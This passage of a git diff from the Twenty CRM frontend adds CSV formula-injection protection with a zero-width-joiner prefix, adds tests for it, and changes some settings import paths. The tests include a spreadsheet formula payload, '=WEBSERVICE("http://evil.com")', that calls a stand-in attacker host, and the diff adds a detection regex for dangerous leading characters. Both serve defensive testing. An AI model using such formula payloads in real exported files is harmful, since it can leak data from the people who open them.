import { SettingsPageContainer } from '@/settings/components/SettingsPageContain import { SettingsServerlessFunctionsFieldItemTableRow } from '@/settings/serverless-functions/components/SettingsServerlessFunctionsFieldItemTableRow'; import { SettingsServerlessFunctionsTableEmpty } from '@/settings/serverless-functions/components/SettingsServerlessFunctionsTableEmpty'; import { useGetManyServerlessFunctions } from '@/settings/serverless-functions/hooks/useGetManyServerlessFunctions'; +import { SettingsPath } from '@/types/SettingsPath'; import { Table } from '@/ui/layout/table/components/Table'; import { TableBody } from '@/ui/layout/table/components/TableBody'; import { TableHeader } from '@/ui/layout/table/components/TableHeader'; import { TableRow } from '@/ui/layout/table/components/TableRow'; import styled from '@emotion/styled'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { type ServerlessFunction } from '~/generated-metadata/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledTableRow = styled(TableRow)` grid-template-columns: 312px 132px 68px; diff --git a/packages/twenty-front/src/modules/settings/serverless-functions/components/SettingsServerlessFunctionsTableEmpty.tsx b/packages/twenty-front/src/modules/settings/serverless-functions/components/SettingsServerlessFunctionsTableEmpty.tsx index 052d8e7095..b28834155f 100644 --- a/packages/twenty-front/src/modules/settings/serverless-functions/components/SettingsServerlessFunctionsTableEmpty.tsx +++ b/packages/twenty-front/src/modules/settings/serverless-functions/components/SettingsServerlessFunctionsTableEmpty.tsx @@ -1,8 +1,6 @@ +import { SettingsPath } from '@/types/SettingsPath'; import styled from '@emotion/styled'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; -import { IconPlus } from 'twenty-ui/display'; -import { Button } from 'twenty-ui/input'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { AnimatedPlaceholder, AnimatedPlaceholderEmptyContainer, @@ -11,6 +9,8 @@ import { AnimatedPlaceholderEmptyTitle, EMPTY_PLACEHOLDER_TRANSITION_PROPS, } from 'twenty-ui/layout'; +import { Button } from 'twenty-ui/input'; +import { IconPlus } from 'twenty-ui/display'; const StyledEmptyFunctionsContainer = styled.div` height: 60vh; diff --git a/packages/twenty-front/src/modules/settings/serverless-functions/components/tabs/SettingsServerlessFunctionSettingsTab.tsx b/packages/twenty-front/src/modules/settings/serverless-functions/components/tabs/SettingsServerlessFunctionSettingsTab.tsx index 1e3a35e1b5..4fd2a26a22 100644 --- a/packages/twenty-front/src/modules/settings/serverless-functions/components/tabs/SettingsServerlessFunctionSettingsTab.tsx +++ b/packages/twenty-front/src/modules/settings/serverless-functions/components/tabs/SettingsServerlessFunctionSettingsTab.tsx @@ -2,9 +2,9 @@ import { SettingsServerlessFunctionNewForm } from '@/settings/serverless-functio import { SettingsServerlessFunctionTabEnvironmentVariablesSection } from '@/settings/serverless-functions/components/tabs/SettingsServerlessFunctionTabEnvironmentVariablesSection'; import { useDeleteOneServerlessFunction } from '@/settings/serverless-functions/hooks/useDeleteOneServerlessFunction'; import { type ServerlessFunctionFormValues } from '@/settings/serverless-functions/hooks/useServerlessFunctionUpdateFormState'; +import { SettingsPath } from '@/types/SettingsPath'; import { ConfirmationModal } from '@/ui/layout/modal/components/ConfirmationModal'; import { useModal } from '@/ui/layout/modal/hooks/useModal'; -import { SettingsPath } from 'twenty-shared/types'; import { H2Title } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; import { Section } from 'twenty-ui/layout'; diff --git a/packages/twenty-front/src/modules/settings/two-factor-authentication/components/DeleteTwoFactorAuthenticationMethod.tsx b/packages/twenty-front/src/modules/settings/two-factor-authentication/components/DeleteTwoFactorAuthenticationMethod.tsx index b925563bc0..f57b55f844 100644 --- a/packages/twenty-front/src/modules/settings/two-factor-authentication/components/DeleteTwoFactorAuthenticationMethod.tsx +++ b/packages/twenty-front/src/modules/settings/two-factor-authentication/components/DeleteTwoFactorAuthenticationMethod.tsx @@ -2,13 +2,13 @@ import { useRecoilValue } from 'recoil'; import { useAuth } from '@/auth/hooks/useAuth'; import { currentUserState } from '@/auth/states/currentUserState'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { ConfirmationModal } from '@/ui/layout/modal/components/ConfirmationModal'; import { useModal } from '@/ui/layout/modal/hooks/useModal'; import { useLoadCurrentUser } from '@/users/hooks/useLoadCurrentUser'; import { useLingui } from '@lingui/react/macro'; import { useParams } from 'react-router-dom'; -import { SettingsPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { H2Title } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; diff --git a/packages/twenty-front/src/modules/settings/two-factor-authentication/hooks/useTwoFactorVerificationForSettings.ts b/packages/twenty-front/src/modules/settings/two-factor-authentication/hooks/useTwoFactorVerificationForSettings.ts index c4dd662012..b6e31af495 100644 --- a/packages/twenty-front/src/modules/settings/two-factor-authentication/hooks/useTwoFactorVerificationForSettings.ts +++ b/packages/twenty-front/src/modules/settings/two-factor-authentication/hooks/useTwoFactorVerificationForSettings.ts @@ -1,12 +1,12 @@ import { type OTPFormValues } from '@/auth/sign-in-up/hooks/useTwoFactorAuthenticationForm'; import { VERIFY_TWO_FACTOR_AUTHENTICATION_METHOD_FOR_AUTHENTICATED_USER } from '@/settings/two-factor-authentication/graphql/mutations/verifyTwoFactorAuthenticationMethod'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { useLoadCurrentUser } from '@/users/hooks/useLoadCurrentUser'; import { useMutation } from '@apollo/client'; import { useLingui } from '@lingui/react/macro'; import { useState } from 'react'; import { useForm } from 'react-hook-form'; -import { SettingsPath } from 'twenty-shared/types'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; export const useTwoFactorVerificationForSettings = () => { diff --git a/packages/twenty-front/src/modules/sign-in-background-mock/components/SignInAppNavigationDrawerMock.tsx b/packages/twenty-front/src/modules/sign-in-background-mock/components/SignInAppNavigationDrawerMock.tsx index 02259de1c8..67864aae7d 100644 --- a/packages/twenty-front/src/modules/sign-in-background-mock/components/SignInAppNavigationDrawerMock.tsx +++ b/packages/twenty-front/src/modules/sign-in-background-mock/components/SignInAppNavigationDrawerMock.tsx @@ -4,16 +4,16 @@ import { NavigationDrawerFixedContent } from '@/ui/navigation/navigation-drawer/ import { NavigationDrawerSectionForObjectMetadataItems } from '@/object-metadata/components/NavigationDrawerSectionForObjectMetadataItems'; import { objectMetadataItemsState } from '@/object-metadata/states/objectMetadataItemsState'; +import { SettingsPath } from '@/types/SettingsPath'; import { NavigationDrawerItem } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerItem'; import { NavigationDrawerSection } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerSection'; import { DEFAULT_WORKSPACE_NAME } from '@/ui/navigation/navigation-drawer/constants/DefaultWorkspaceName'; import styled from '@emotion/styled'; import { useLingui } from '@lingui/react/macro'; import { useRecoilValue } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconSearch, IconSettings } from 'twenty-ui/display'; import { getOsControlSymbol, useIsMobile } from 'twenty-ui/utilities'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledMainSection = styled(NavigationDrawerSection)` min-height: fit-content; diff --git a/packages/twenty-front/src/modules/spreadsheet-import/constants/CsvDangerousCharacters.ts b/packages/twenty-front/src/modules/spreadsheet-import/constants/CsvDangerousCharacters.ts new file mode 100644 index 0000000000..7ed05fb3ad --- /dev/null +++ b/packages/twenty-front/src/modules/spreadsheet-import/constants/CsvDangerousCharacters.ts @@ -0,0 +1,3 @@ +// Characters that can trigger CSV injection when they appear at the start of a cell. +// Based on OWASP CSV Injection guidelines: https://owasp.org/www-community/attacks/CSV_Injection +export const CSV_DANGEROUS_CHARACTERS = /^[=+\-@\t\r]/; diff --git a/packages/twenty-front/src/modules/spreadsheet-import/constants/CsvInjectionPreventionZwj.ts b/packages/twenty-front/src/modules/spreadsheet-import/constants/CsvInjectionPreventionZwj.ts new file mode 100644 index 0000000000..8f6e3bfd22 --- /dev/null +++ b/packages/twenty-front/src/modules/spreadsheet-import/constants/CsvInjectionPreventionZwj.ts @@ -0,0 +1,4 @@ +// Zero-Width Joiner character used to prevent CSV injection while preserving data. +// This invisible Unicode character breaks formula recognition in Excel/LibreOffice +// while keeping the original content visually identical to users. +export const CSV_INJECTION_PREVENTION_ZWJ = '\u200D'; diff --git a/packages/twenty-front/src/modules/spreadsheet-import/steps/components/UploadStep/hooks/useDownloadFakeRecords.ts b/packages/twenty-front/src/modules/spreadsheet-import/steps/components/UploadStep/hooks/useDownloadFakeRecords.ts index 53075805bd..b266e0f24f 100644 --- a/packages/twenty-front/src/modules/spreadsheet-import/steps/components/UploadStep/hooks/useDownloadFakeRecords.ts +++ b/packages/twenty-front/src/modules/spreadsheet-import/steps/components/UploadStep/hooks/useDownloadFakeRecords.ts @@ -3,7 +3,8 @@ import { spreadsheetImportFilterAvailableFieldMetadataItems } from '@/object-rec import { getCompositeSubFieldLabelWithFieldLabel } from '@/object-record/spreadsheet-import/utils/spreadsheetImportGetCompositeSubFieldLabelWithFieldLabel'; import { SETTINGS_COMPOSITE_FIELD_TYPE_CONFIGS } from '@/settings/data-model/constants/SettingsCompositeFieldTypeConfigs'; import { SETTINGS_NON_COMPOSITE_FIELD_TYPE_CONFIGS } from '@/settings/data-model/constants/SettingsNonCompositeFieldTypeConfigs'; -import { escapeCSVValue } from '@/spreadsheet-import/utils/escapeCSVValue'; +import { formatValueForCSV } from '@/spreadsheet-import/utils/formatValueForCSV'; +import { sanitizeValueForCSVExport } from '@/spreadsheet-import/utils/sanitizeValueForCSVExport'; import { saveAs } from 'file-saver'; import { FieldMetadataType } from 'twenty-shared/types'; @@ -122,7 +123,9 @@ export const useDownloadFakeRecords = () => { const formatToCsvContent = (rows: string[][]) => { const escapedRows = rows.map((row) => { - return row.map((value) => escapeCSVValue(value)); + return row.map((value) => + formatValueForCSV(sanitizeValueForCSVExport(value)), + ); }); const csvContent = [...escapedRows.map((row) => row.join(','))].join('\n'); diff --git a/packages/twenty-front/src/modules/spreadsheet-import/utils/__tests__/csvSecurity.test.ts b/packages/twenty-front/src/modules/spreadsheet-import/utils/__tests__/csvSecurity.test.ts new file mode 100644 index 0000000000..b7b8907c81 --- /dev/null +++ b/packages/twenty-front/src/modules/spreadsheet-import/utils/__tests__/csvSecurity.test.ts @@ -0,0 +1,391 @@ +import { CSV_DANGEROUS_CHARACTERS } from '@/spreadsheet-import/constants/CsvDangerousCharacters'; +import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj'; +import { cleanZWJFromImportedValue } from '../cleanZWJFromImportedValue'; +import { containsCSVProtectionZWJ } from '../containsCSVProtectionZWJ'; +import { sanitizeValueForCSVExport } from '../sanitizeValueForCSVExport'; + +describe('csvSecurity', () => { + describe('CSV_DANGEROUS_CHARACTERS regex', () => { + it('should match dangerous characters at the start of strings', () => { + expect(CSV_DANGEROUS_CHARACTERS.test('=formula')).toBe(true); + expect(CSV_DANGEROUS_CHARACTERS.test('+calculation')).toBe(true); + expect(CSV_DANGEROUS_CHARACTERS.test('-negative')).toBe(true); + expect(CSV_DANGEROUS_CHARACTERS.test('@reference')).toBe(true); + expect(CSV_DANGEROUS_CHARACTERS.test('\ttab')).toBe(true); + expect(CSV_DANGEROUS_CHARACTERS.test('\rcarriage')).toBe(true); + }); + + it('should not match safe strings', () => { + expect(CSV_DANGEROUS_CHARACTERS.test('normal text')).toBe(false); + expect(CSV_DANGEROUS_CHARACTERS.test('text with = in middle')).toBe( + false, + ); + expect(CSV_DANGEROUS_CHARACTERS.test('text with + in middle')).toBe( + false, + ); + expect(CSV_DANGEROUS_CHARACTERS.test('')).toBe(false); + }); + }); + + describe('sanitizeValueForCSVExport', () => { + it('should prefix dangerous formulas with ZWJ', () => { + const result = sanitizeValueForCSVExport( + '=WEBSERVICE("http://evil.com")', + ); + expect(result).toBe( + `${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE("http://evil.com")`, + ); + }); + + it('should prefix dangerous calculations with ZWJ', () => { + expect(sanitizeValueForCSVExport('+1+1')).toBe( + `${CSV_INJECTION_PREVENTION_ZWJ}+1+1`, + ); + expect(sanitizeValueForCSVExport('-1+1')).toBe( + `${CSV_INJECTION_PREVENTION_ZWJ}-1+1`, + ); + }); + + it('should prefix dangerous references with ZWJ', () => { + expect(sanitizeValueForCSVExport('@SUM(1,1)')).toBe( + `${CSV_INJECTION_PREVENTION_ZWJ}@SUM(1,1)`, + ); + }); + + it('should prefix dangerous control characters with ZWJ', () => { + expect(sanitizeValueForCSVExport('\t=FORMULA()')).toBe( + `${CSV_INJECTION_PREVENTION_ZWJ}\t=FORMULA()`, + ); + expect(sanitizeValueForCSVExport('\r=FORMULA()')).toBe( + `${CSV_INJECTION_PREVENTION_ZWJ}\r=FORMULA()`, + ); + }); + + it('should preserve legitimate phone numbers with ZWJ', () => { + const phoneNumber = '+1-555-123-4567'; + const result = sanitizeValueForCSVExport(phoneNumber); + expect(result).toBe(`${CSV_INJECTION_PREVENTION_ZWJ}+1-555-123-4567`); + // Should be visually identical to user + expect(result.substring(1)).toBe(phoneNumber); + }); + + it('should not modify safe strings', () => { + expect(sanitizeValueForCSVExport('John Doe')).toBe('John Doe'); + expect(sanitizeValueForCSVExport('john@example.com')).toBe( + 'john@example.com', + ); + expect(sanitizeValueForCSVExport('Text with = in middle')).toBe( + 'Text with = in middle', + ); + expect(sanitizeValueForCSVExport('Text with + in middle')).toBe( + 'Text with + in middle', + ); + }); + + it('should handle null and undefined values', () => { + expect(sanitizeValueForCSVExport(null)).toBe(''); + expect(sanitizeValueForCSVExport(undefined)).toBe(''); + }); + + it('should convert non-string values to strings', () => { + expect(sanitizeValueForCSVExport(123)).toBe('123'); + expect(sanitizeValueForCSVExport(true)).toBe('true'); + expect(sanitizeValueForCSVExport(false)).toBe('false'); + }); + + it('should handle edge cases', () => { + expect(sanitizeValueForCSVExport('')).toBe(''); + expect(sanitizeValueForCSVExport('=')).toBe( + `${CSV_INJECTION_PREVENTION_ZWJ}=`, + ); + expect(sanitizeValueForCSVExport('+')).toBe( + `${CSV_INJECTION_PREVENTION_ZWJ}+`, + ); + }); + }); + + describe('cleanZWJFromImportedValue', () => { + it('should remove ZWJ prefix from sanitized values', () => { + const sanitized = `${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE("http://evil.com")`; + const cleaned = cleanZWJFromImportedValue(sanitized); + expect(cleaned).toBe('=WEBSERVICE("http://evil.com")'); + }); + + it('should restore original phone numbers', () => { + const sanitized = `${CSV_INJECTION_PREVENTION_ZWJ}+1-555-123-4567`; + const cleaned = cleanZWJFromImportedValue(sanitized); + expect(cleaned).toBe('+1-555-123-4567'); + }); + + it('should not modify values without ZWJ prefix', () => { + expect(cleanZWJFromImportedValue('John Doe')).toBe('John Doe'); + expect(cleanZWJFromImportedValue('john@example.com')).toBe( + 'john@example.com', + ); + expect(cleanZWJFromImportedValue('Normal text')).toBe('Normal text'); + }); + + it('should handle non-string values gracefully', () => { + expect(cleanZWJFromImportedValue(123 as any)).toBe(123); + expect(cleanZWJFromImportedValue(null as any)).toBe(null); + expect(cleanZWJFromImportedValue(undefined as any)).toBe(undefined); + }); + + it('should handle empty strings', () => { + expect(cleanZWJFromImportedValue('')).toBe(''); + expect(cleanZWJFromImportedValue(CSV_INJECTION_PREVENTION_ZWJ)).toBe(''); + }); + }); + + describe('containsCSVProtectionZWJ', () => { + it('should detect ZWJ in sanitized values', () => { + const sanitized = `${CSV_INJECTION_PREVENTION_ZWJ}=FORMULA()`; + expect(containsCSVProtectionZWJ(sanitized)).toBe(true); + }); + + it('should detect ZWJ anywhere in the string', () => { + const text = `Some text ${CSV_INJECTION_PREVENTION_ZWJ} with ZWJ in middle`; + expect(containsCSVProtectionZWJ(text)).toBe(true); + }); + + it('should return false for strings without ZWJ', () => { + expect(containsCSVProtectionZWJ('Normal text')).toBe(false); + expect(containsCSVProtectionZWJ('=FORMULA()')).toBe(false); + expect(containsCSVProtectionZWJ('')).toBe(false); + }); + + it('should handle non-string values gracefully', () => { + expect(containsCSVProtectionZWJ(123 as any)).toBe(false); + expect(containsCSVProtectionZWJ(null as any)).toBe(false); + expect(containsCSVProtectionZWJ(undefined as any)).toBe(false); + }); + }); + + describe('roundtrip compatibility', () => { + it('should preserve data through export/import cycle', () => { + const originalValues = [ + '=WEBSERVICE("http://evil.com")', + '+1-555-123-4567', + '-$5,000 adjustment', + '@mention', + '\t=FORMULA()', + 'Normal text', + 'Text with = in middle', + ]; + + originalValues.forEach((original) => { + const sanitized = sanitizeValueForCSVExport(original); + const restored = cleanZWJFromImportedValue(sanitized); + expect(restored).toBe(original); + }); + }); + + it('should maintain visual appearance for users', () => { + const phoneNumber = '+1-555-123-4567'; + const sanitized = sanitizeValueForCSVExport(phoneNumber); + + // The sanitized version should look identical to users + // (ZWJ is invisible in most contexts) + expect(sanitized).toContain(phoneNumber); + expect(sanitized.length).toBe(phoneNumber.length + 1); // +1 for ZWJ + }); + }); + + describe('international character compatibility', () => { + it('should not interfere with Japanese characters', () => { + const japaneseTexts = [ + 'こんにちは', // "Hello" in Japanese + '田中太郎', // Japanese name + '東京都渋谷区', // Tokyo address + '株式会社', // Corporation + 'ひらがな カタカナ 漢字', // Mixed Japanese scripts + '2024年12月', // Date in Japanese + '価格:¥1,000', // Price in yen + ]; + + japaneseTexts.forEach((text) => { + const sanitized = sanitizeValueForCSVExport(text); + // Should remain unchanged (no dangerous characters at start) + expect(sanitized).toBe(text); + expect(containsCSVProtectionZWJ(sanitized)).toBe(false); + }); + }); + + it('should not interfere with Chinese characters', () => { + const chineseTexts = [ + '你好世界', // "Hello World" in Chinese + '北京市朝阳区', // Beijing address + '有限公司', // Limited company + '2024年12月31日', // Date in Chinese + '价格:¥100.00', // Price in yuan + ]; + + chineseTexts.forEach((text) => { + const sanitized = sanitizeValueForCSVExport(text); + expect(sanitized).toBe(text); + expect(containsCSVProtectionZWJ(sanitized)).toBe(false); + }); + }); + + it('should not interfere with Korean characters', () => { + const koreanTexts = [ + '안녕하세요', // "Hello" in Korean + '서울특별시 강남구', // Seoul address + '주식회사', // Corporation + '김철수', // Korean name + '가격: ₩10,000', // Price in won + ]; + + koreanTexts.forEach((text) => { + const sanitized = sanitizeValueForCSVExport(text); + expect(sanitized).toBe(text); + expect(containsCSVProtectionZWJ(sanitized)).toBe(false); + }); + }); + + it('should not interfere with Arabic characters', () => { + const arabicTexts = [ + 'مرحبا بالعالم', // "Hello World" in Arabic + 'شركة محدودة المسؤولية', // Limited liability company + 'الرياض، المملكة العربية السعودية', // Riyadh, Saudi Arabia + 'السعر: 100 ريال', // Price in riyal + ]; + + arabicTexts.forEach((text) => { + const sanitized = sanitizeValueForCSVExport(text); + expect(sanitized).toBe(text); + expect(containsCSVProtectionZWJ(sanitized)).toBe(false); + }); + }); + + it('should not interfere with European accented characters', () => { + const europeanTexts = [ + 'Café München', // German with umlauts + 'José María García', // Spanish with accents + 'François Müller', // French with cedilla + 'Åse Øberg', // Scandinavian characters + 'Zürich, Schweiz', // Swiss German + 'Москва, Россия', // Russian Cyrillic + ]; + + europeanTexts.forEach((text) => { + const sanitized = sanitizeValueForCSVExport(text); + expect(sanitized).toBe(text); + expect(containsCSVProtectionZWJ(sanitized)).toBe(false); + }); + }); + + it('should handle international text with dangerous characters at start', () => { + const mixedTexts = [ + '+81-3-1234-5678 (Tokyo office)', // Japanese phone with country code + '=SUM(売上高)', // Formula with Japanese text + '@田中さん こんにちは', // Mention with Japanese name + '-€50.00 (European discount)', // Negative amount in euros + '+33% 增长率', // Percentage with Chinese + ]; + + mixedTexts.forEach((text) => { + const sanitized = sanitizeValueForCSVExport(text); + const restored = cleanZWJFromImportedValue(sanitized); + + // Should be sanitized (starts with dangerous character) + expect(sanitized).toBe(CSV_INJECTION_PREVENTION_ZWJ + text); + expect(containsCSVProtectionZWJ(sanitized)).toBe(true); + + // Should restore perfectly + expect(restored).toBe(text); + }); + }); + + it('should not add ZWJ to legitimate Unicode combining characters', () => { + const unicodeTexts = [ + 'é', // e with acute accent (U+00E9) + 'e\u0301', // e + combining acute accent + 'नमस्ते', // Hindi greeting + 'مرحبا', // Arabic greeting + '🇯🇵', // Japanese flag emoji (regional indicators) + '👨‍👩‍👧‍👦', // Family emoji with ZWJ sequences + ]; + + unicodeTexts.forEach((text) => { + const sanitized = sanitizeValueForCSVExport(text); + // Should remain unchanged (no dangerous ASCII characters at start) + expect(sanitized).toBe(text); + + // Should not add our protection ZWJ (unless already present in emoji sequences) + if (!text.includes('\u200D')) { + expect(containsCSVProtectionZWJ(sanitized)).toBe(false); + } + }); + }); + }); + + describe('CSV import integration', () => { + it('should work with the mapWorkbook import process', () => { + // Simulate data that would come from a CSV export with ZWJ protection + const exportedData = [ + ['Name', 'Formula', 'Phone'], + [ + 'John Doe', + `${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE("http://evil.com")`, + `${CSV_INJECTION_PREVENTION_ZWJ}+1-555-123-4567`, + ], + ['Jane Smith', 'Normal text', '+44-20-1234-5678'], + ]; + + // Simulate the import cleanup process + const cleanedData = exportedData.map((row) => + row.map((cell) => + typeof cell === 'string' ? cleanZWJFromImportedValue(cell) : cell, + ), + ); + + // Verify the data is properly restored + expect(cleanedData).toEqual([ + ['Name', 'Formula', 'Phone'], + ['John Doe', '=WEBSERVICE("http://evil.com")', '+1-555-123-4567'], + ['Jane Smith', 'Normal text', '+44-20-1234-5678'], + ]); + }); + + it('should handle mixed data types during import', () => { + const mixedData = [ + ['Text', 'Number', 'Boolean', 'Null'], + [`${CSV_INJECTION_PREVENTION_ZWJ}=FORMULA()`, 123, true, null], + ['Normal text', 456, false, undefined], + ]; + + const cleanedData = mixedData.map((row) => + row.map((cell) => + typeof cell === 'string' ? cleanZWJFromImportedValue(cell) : cell, + ), + ); + + expect(cleanedData).toEqual([ + ['Text', 'Number', 'Boolean', 'Null'], + ['=FORMULA()', 123, true, null], + ['Normal text', 456, false, undefined], + ]); + }); + + it('should preserve international characters during import roundtrip', () => { + const internationalData = [ + ['Japanese', 'Chinese', 'Arabic'], + ['こんにちは', '你好', 'مرحبا'], + [`${CSV_INJECTION_PREVENTION_ZWJ}+81-3-1234-5678`, '北京市', 'الرياض'], + ]; + + const cleanedData = internationalData.map((row) => + row.map((cell) => + typeof cell === 'string' ? cleanZWJFromImportedValue(cell) : cell, + ), + ); + + expect(cleanedData).toEqual([ + ['Japanese', 'Chinese', 'Arabic'], + ['こんにちは', '你好', 'مرحبا'], + ['+81-3-1234-5678', '北京市', 'الرياض'], + ]); + }); + }); +}); diff --git a/packages/twenty-front/src/modules/spreadsheet-import/utils/__tests__/escapeCSVValue.test.ts b/packages/twenty-front/src/modules/spreadsheet-import/utils/__tests__/escapeCSVValue.test.ts deleted file mode 100644 index f8899e2720..0000000000 --- a/packages/twenty-front/src/modules/spreadsheet-import/utils/__tests__/escapeCSVValue.test.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { escapeCSVValue } from '@/spreadsheet-import/utils/escapeCSVValue'; - -describe('escapeCSVValue', () => { - it('should escape values with commas, quotes, newlines and carriage returns', () => { - expect(escapeCSVValue('test,test')).toBe('"test,test"'); - }); - - it('should escape array or JSON values', () => { - expect(escapeCSVValue(['test', 'test'])).toBe('"[""test"",""test""]"'); - expect(escapeCSVValue({ test: 'test' })).toBe('"{""test"":""test""}"'); - }); - - it('should escape null values', () => { - expect(escapeCSVValue(null)).toBe(''); - }); - - it('should escape simple string value', () => { - expect(escapeCSVValue('test')).toBe('test'); - }); - - it('should escape simple number value', () => { - expect(escapeCSVValue(1)).toBe('1'); - }); -}); diff --git a/packages/twenty-front/src/modules/spreadsheet-import/utils/__tests__/formatValueForCSV.test.ts b/packages/twenty-front/src/modules/spreadsheet-import/utils/__tests__/formatValueForCSV.test.ts new file mode 100644 index 0000000000..45b5a13b0a --- /dev/null +++ b/packages/twenty-front/src/modules/spreadsheet-import/utils/__tests__/formatValueForCSV.test.ts @@ -0,0 +1,24 @@ +import { formatValueForCSV } from '@/spreadsheet-import/utils/formatValueForCSV'; + +describe('formatValueForCSV', () => { + it('should format values with commas, quotes, newlines and carriage returns', () => { + expect(formatValueForCSV('test,test')).toBe('"test,test"'); + }); + + it('should format array or JSON values', () => { + expect(formatValueForCSV(['test', 'test'])).toBe('"[""test"",""test""]"'); + expect(formatValueForCSV({ test: 'test' })).toBe('"{""test"":""test""}"'); + }); + + it('should format null values', () => { + expect(formatValueForCSV(null)).toBe(''); + }); + + it('should format simple string value', () => { + expect(formatValueForCSV('test')).toBe('test'); + }); + + it('should format simple number value', () => { + expect(formatValueForCSV(1)).toBe('1'); + }); +}); diff --git a/packages/twenty-front/src/modules/spreadsheet-import/utils/cleanZWJFromImportedValue.ts b/packages/twenty-front/src/modules/spreadsheet-import/utils/cleanZWJFromImportedValue.ts new file mode 100644 index 0000000000..d32181a04c --- /dev/null +++ b/packages/twenty-front/src/modules/spreadsheet-import/utils/cleanZWJFromImportedValue.ts @@ -0,0 +1,11 @@ +import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj'; + +export const cleanZWJFromImportedValue = (value: string): string => { + if (typeof value !== 'string') return value; + + if (value.startsWith(CSV_INJECTION_PREVENTION_ZWJ)) { + return value.substring(1); + } + + return value; +}; diff --git a/packages/twenty-front/src/modules/spreadsheet-import/utils/containsCSVProtectionZWJ.ts b/packages/twenty-front/src/modules/spreadsheet-import/utils/containsCSVProtectionZWJ.ts new file mode 100644 index 0000000000..c5e7b81613 --- /dev/null +++ b/packages/twenty-front/src/modules/spreadsheet-import/utils/containsCSVProtectionZWJ.ts @@ -0,0 +1,7 @@ +import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj'; + +export const containsCSVProtectionZWJ = (value: string): boolean => { + return ( + typeof value === 'string' && value.includes(CSV_INJECTION_PREVENTION_ZWJ) + ); +}; diff --git a/packages/twenty-front/src/modules/spreadsheet-import/utils/csv-security/sanitizeValueForCSVExport.ts b/packages/twenty-front/src/modules/spreadsheet-import/utils/csv-security/sanitizeValueForCSVExport.ts new file mode 100644 index 0000000000..58b5ce71b2 --- /dev/null +++ b/packages/twenty-front/src/modules/spreadsheet-import/utils/csv-security/sanitizeValueForCSVExport.ts @@ -0,0 +1,14 @@ +import { CSV_DANGEROUS_CHARACTERS } from '@/spreadsheet-import/constants/CsvDangerousCharacters'; +import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj'; + +export const sanitizeValueForCSVExport = (value: any): string => { + if (value == null) return ''; + + const stringValue = typeof value === 'string' ? value : String(value); + + if (CSV_DANGEROUS_CHARACTERS.test(stringValue)) { + return CSV_INJECTION_PREVENTION_ZWJ + stringValue; + } + + return stringValue; +}; diff --git a/packages/twenty-front/src/modules/spreadsheet-import/utils/escapeCSVValue.ts b/packages/twenty-front/src/modules/spreadsheet-import/utils/formatValueForCSV.ts similarity index 52% rename from packages/twenty-front/src/modules/spreadsheet-import/utils/escapeCSVValue.ts rename to packages/twenty-front/src/modules/spreadsheet-import/utils/formatValueForCSV.ts index 554440ee84..4edf19b296 100644 --- a/packages/twenty-front/src/modules/spreadsheet-import/utils/escapeCSVValue.ts +++ b/packages/twenty-front/src/modules/spreadsheet-import/utils/formatValueForCSV.ts @@ -1,6 +1,9 @@ import { isString } from '@sniptt/guards'; -export const escapeCSVValue = (value: any) => { +// Formats values for CSV output by wrapping in quotes when needed and escaping internal quotes. +// This handles CSV formatting requirements (commas, quotes, newlines) but NOT security issues. +// For security (CSV injection prevention), use sanitizeValueForCSVExport() BEFORE this function. +export const formatValueForCSV = (value: any) => { if (value == null) return ''; const stringValue = isString(value) ? value : JSON.stringify(value); diff --git a/packages/twenty-front/src/modules/spreadsheet-import/utils/mapWorkbook.ts b/packages/twenty-front/src/modules/spreadsheet-import/utils/mapWorkbook.ts index 55bd7943b8..264507dc3e 100644 --- a/packages/twenty-front/src/modules/spreadsheet-import/utils/mapWorkbook.ts +++ b/packages/twenty-front/src/modules/spreadsheet-import/utils/mapWorkbook.ts @@ -1,3 +1,4 @@ +import { cleanZWJFromImportedValue } from '@/spreadsheet-import/utils/cleanZWJFromImportedValue'; import { utils, type WorkBook } from 'xlsx-ugnis'; export const mapWorkbook = (workbook: WorkBook, sheetName?: string) => { @@ -7,5 +8,14 @@ export const mapWorkbook = (workbook: WorkBook, sheetName?: string) => { blankrows: false, raw: false, }); - return data as string[][]; + + // Clean ZWJ characters from imported CSV data to restore original values + // This reverses the ZWJ protection applied during export + const cleanedData = (data as string[][]).map((row) => + row.map((cell) => + typeof cell === 'string' ? cleanZWJFromImportedValue(cell) : cell, + ), + ); + + return cleanedData; }; diff --git a/packages/twenty-front/src/modules/spreadsheet-import/utils/sanitizeValueForCSVExport.ts b/packages/twenty-front/src/modules/spreadsheet-import/utils/sanitizeValueForCSVExport.ts new file mode 100644 index 0000000000..58b5ce71b2 --- /dev/null +++ b/packages/twenty-front/src/modules/spreadsheet-import/utils/sanitizeValueForCSVExport.ts @@ -0,0 +1,14 @@ +import { CSV_DANGEROUS_CHARACTERS } from '@/spreadsheet-import/constants/CsvDangerousCharacters'; +import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj'; + +export const sanitizeValueForCSVExport = (value: any): string => { + if (value == null) return ''; + 